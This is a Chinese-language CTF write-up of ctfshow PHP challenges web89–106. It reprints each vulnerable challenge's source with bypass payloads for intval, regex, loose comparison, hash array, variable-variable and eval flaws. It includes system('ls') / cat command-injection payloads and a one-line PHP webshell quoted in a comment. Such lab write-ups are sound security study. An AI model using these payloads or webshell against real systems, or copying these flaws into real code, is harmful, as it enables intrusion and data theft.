【从0开始学web】89-150 php特性
【从0开始学web】89-150 php特性
- 【从0开始学web】89-150 php特性
- 前言
- web89
- web90
- web91
- web92
- web93
- web94
- web95
- web96
- web97
- web98
- web99
- web100
- web101
- web102
- web103
- web104
- web105
- web106
- 未完待续...
前言
php代码审计一直很薄弱,希望完成这部分之后能有所提升。
web89
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/include("flag.php");
highlight_file(__FILE__);if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}
关键代码
if(intval($num)){echo $flag;
intval() 函数用于获取变量的整数值。需要拿到一个数字,但是又不被过滤掉,利用数组过滤
数组绕过,payload:?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);}
}
payload: ?num=4476x
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}
preg_match()正则匹配,下面是一些常用的修饰符
i :ignore-不区分大小写g:global-全局匹配m: multi line -多行匹配s:特殊字符圆点 . 中间包含换行符号
本题目/^php / i m , / p h p /im ,/^php /im,/php/i 第一个if 需要匹配到php,第二个if有不能匹配php,使用换行符绕过,第一个if处存在 m 参数,多行匹配,因此换行后无影响,第二个if 单行匹配,在换行符号后随便输入字符,即绕过
构造payload:?cmd=php%0A123
这里其实涉及到一个漏洞CVE-2017-15715 ,之后可以复现一下
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
intval()函数之前遇到过,匹配整数,
和web90类似,但是这里 == 和 ===
两个等号我们称为等值符,当等号两边的值为相同类型时比较值是否相同,类型不同时会发生类型的自动转换,转换为相同的类型后再作比较。
三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。
因此可以用科学计数法绕过,如4475e1在if( n u m = = 4476 ) 处 , 因 为 是 科 学 计 数 法 , 是 与 数 字 4476 同 一 类 型 , 值 不 想 等 , 到 了 i f ( i n t v a l ( num==4476)处,因为是科学计数法,是与数字4476同一类型,值不想等,到了if(intval( num==4476)处,因为是科学计数法,是与数字4476同一类型,值不想等,到了if(intval(num,0)==4476) 则被当成字符,匹配整数后变成4476,值想等,成功绕过。
payload:?num=4476e1
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
web90和web92的综合版本
大小写字母被过滤,可以使用小数点绕过,payload:?num=4476.12
后来看了提示还可以用不同的进制进行绕过,过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){die("no no no!");}if(intval($num,0)===4476){echo $flag;}
新怎加一个strpos($num, “0”)函数
函数功能:strpos() 函数查找字符串在另一字符串中第一次出现的位置。小数点绕过,匹配一个0,实质上是过滤了进制转化的方法。开头不能出现0了
payload:?num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
. 被过滤了,不能使用小数点了
使用空格+进制绕过
?num=+010574或者?num=%2b010574
web96
highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
绕过 == 'flag.php’的条件,高亮输出,找到flag.php的位置即可
payload:
?u=/var/www/html/flag.php
?u=./flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
md5数组绕过,值不等,md5值相等
这里是 === 强比较,弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0
如果传入md5
函数的不是字符串而是数组,那么就会返回null
, null=null绕过
数组绕过 a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
解读一下代码,$_GET?$_GET=&$_POST:'flag';
将get方法改变为post方法、
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
大概就是如果get一个flag == flag 转化为cookie方法否则‘flag’
if($_GET['flag']=='flag'){$_GET=&$_COOKIE;
}else{'flag';
}
if($_GET['flag']=='flag'){$_GET=&$_SERVER;
}else{'flag';
}
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flaghighlight_file($flag);
}else{highlight_file(__FILE__);
}
大概可以这么理解,所有可以先get一个HTTP_FLAG,然后会转化为post请求,再post HTTP_FLAG 即可
思路应该没错hh
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
语法:file_put_contents(file,data,mode,context)
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
该函数等于多次调用 $array[] = $value。
in_array() 函数搜索数组中是否存在指定的值。存在则返回1
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
语法:in_array(search,array,type)
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>
嗯,没做出来
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}
is_numeric() 函数用于检测变量是否为数字或数字字符串。语法:bool is_numeric ( mixed $var )
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
首先是这里$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
开始想着怎么构造绕过and,后来发现 = 的优先级更高,只要v1 = 数字或字母即可
?v1=1&v2=system('ls')&v3=;?v1=1&v2=system('cat ctfshow.php')/*&v3=*/;
回显:ctfshow.php flag36d.php index.php
class ctfshow{var $dalaoA,$dalaoB,$flag_is_655676950x2dc9250x2d4dfc0x2dace80x2d9989e408211a;
}
ctfshow{65567695-c925-4dfc-ace8-9989e408211a}
或者?v1=21&v2=var_dump($ctfshow)/&v3=/;
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}}
和上题类似,但过滤了太多东西了,使用反射形。ReflectionClass 类报告了一个类的有关信息。
?v1=1&v2=echo new ReflectionClass&v3=;
这样就可以直接输出$ctfshow这个类的有关信息
ctfshow{9efdf2de-6aee-4970-8493-c4399c970872} 提示说少了一位,emm,从0输到f 哈哈
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
call_user_func — 把第一个参数作为回调函数调用
substr() 函数返回字符串的一部分。substr($v2,2); 从2位置开始,截取作为call_user_func
的第二个参数v1
作为 call_user_func
的第一个参数。v3
作为 file_put_contents
的文件名。
payload:?v2=1&。。。词穷了 web99也是file_put_contents函数,没做出来,先放着,仔细研究一下再来写
web103
同web102,先放一下
web104
highlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}
sha1() 函数计算字符串的 SHA-1 散列。
嗯,计算字符,搞个数组都返回错误
get :?v2[]=1
post:v1[]=1
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
这里出现了$$
,双美元符号在PHP中,$var
(单美元)表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$$var
(双美元)是一个引用变量,用于存储$var的值
?suces=flag# post
error=suces
这样suces和
error都覆盖成了
$flag,不管die 哪个,都会输出flag.
web106
highlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2) && $v1!=$v2){echo $flag;}
}
和web104类似,只是这里v1!=v2 ,同样的构造数组,值不一样即可
未完待续…
【从0开始学web】89-150 php特性相关推荐
- 2021-10-14【从0开始学web】279-300 java
[从0开始学web]279-300 java [从0开始学web]279-300 java web279 web278-297 279-297题都是struts2框架漏洞 Struts2是用Java语 ...
- 提升之路--从0开始学web自动化(7)--ui自动化框架搭建PO模式
ui自动化测试在整个测试过程中占据的地位 在一个项目的测试中手工测试(60%)/自动化测试(40%),不同公司的定义不同.总体是手工占大部分 而自动化测试中,接口自动化占据70% ui自动化测试优先实 ...
- 【从0到1学Web前端】javascript中的ajax对象(一)
[从0到1学Web前端]javascript中的ajax对象(一) 如今最流行的获取后端的(浏览器从server)数据的方式就是通过Ajax了吧.今天就来具体的来学习下这个知识吧.假设使用ajax来訪 ...
- 0基础转行IT行业学web前端好吗?
0基础转行IT行业学web前端好吗?目前互联网行业迅速发展,IT已经成为现在的一个非常热门的一个行业,许许多多的人都想要往IT方面发展,找IT方面相关的一个工作. 很多想要接触IT行业的初学者伤透了脑 ...
- 菜鸟学WEB开发 ASP.NET 5.0 1.0
菜鸟学WEB开发 ASP.NET 5.0 1.0 在学习之初我要强调一点"微软要向跨平台开发"大举进军了,不管他能走多远,这是微软的必经之路. 一.学习流程: 创建ASP.NET ...
- 从0开始学爬虫6比价工具开发1之爬取当当、京东的数据
从0开始学爬虫6比价工具开发1之爬取当当.京东的数据 爬取当当数据 spider_dangdang.py #coding=utf-8import requests from lxml import h ...
- 0基础学怎么学习python
Python相对于其他编程语言来说是比较简单的,非常适合零基础的小白学习,想要进入到互联网行业,可以优先选择学习Python,那么下面小编就来为大家详细的介绍一下0基础学怎么学习python? ...
- html语言难不难学,Web前端开发难学吗?
Web前端开发难学吗? 更新时间:2019年02月22日16时54分 来源:传智播客web前端培训 浏览次数: 关于Web前端开发难学吗?学Web前端都需要学习哪些内容?很多想要转行学习Web的同学还 ...
- 0基础学python难吗-0基础学武汉Python开发课程有多难?该怎么入门?
Python语言可谓十分强大,正如它的两个外号所称,一个是"内置电池",另一个是"胶水语言".开源社区和独立开发者长期为Python贡献了丰富大量的第三方库,其 ...
最新文章
- etcd分布式之消息发布与订阅
- 微信端上传图片方式1
- 二、“究恒常之宇宙,成一家之学说”
- javascript中的模块系统
- JDK8的日期时间类1
- 为何苦命干活的人成不了专家?
- 【总结整理】JavaScript的DOM事件学习(慕课网)
- 支援 Chrome 插件:微软 Chromium 内核 Edge 浏览器可以下载啦!
- iphone iPhone开发中如何将制作图片放大缩小代码实现案例
- Elementui tabs组件内添加组件
- VisualStudio2017密钥(key)
- ubuntu下virtualbox安装windows7
- 个人对于封装继承多态的理解
- docker之部署一个不中毒的浏览器
- 剖析人生赚钱五大境界颠覆你的认知
- vue子组件的使用和事件传递
- 苹果Mac虚拟机 Parallels Desktop 17 安装 Win11 体验
- python plot画柱状图_matplotlib使用:画柱状图
- Java到底能干什么?
- LTE MAC层令牌桶算法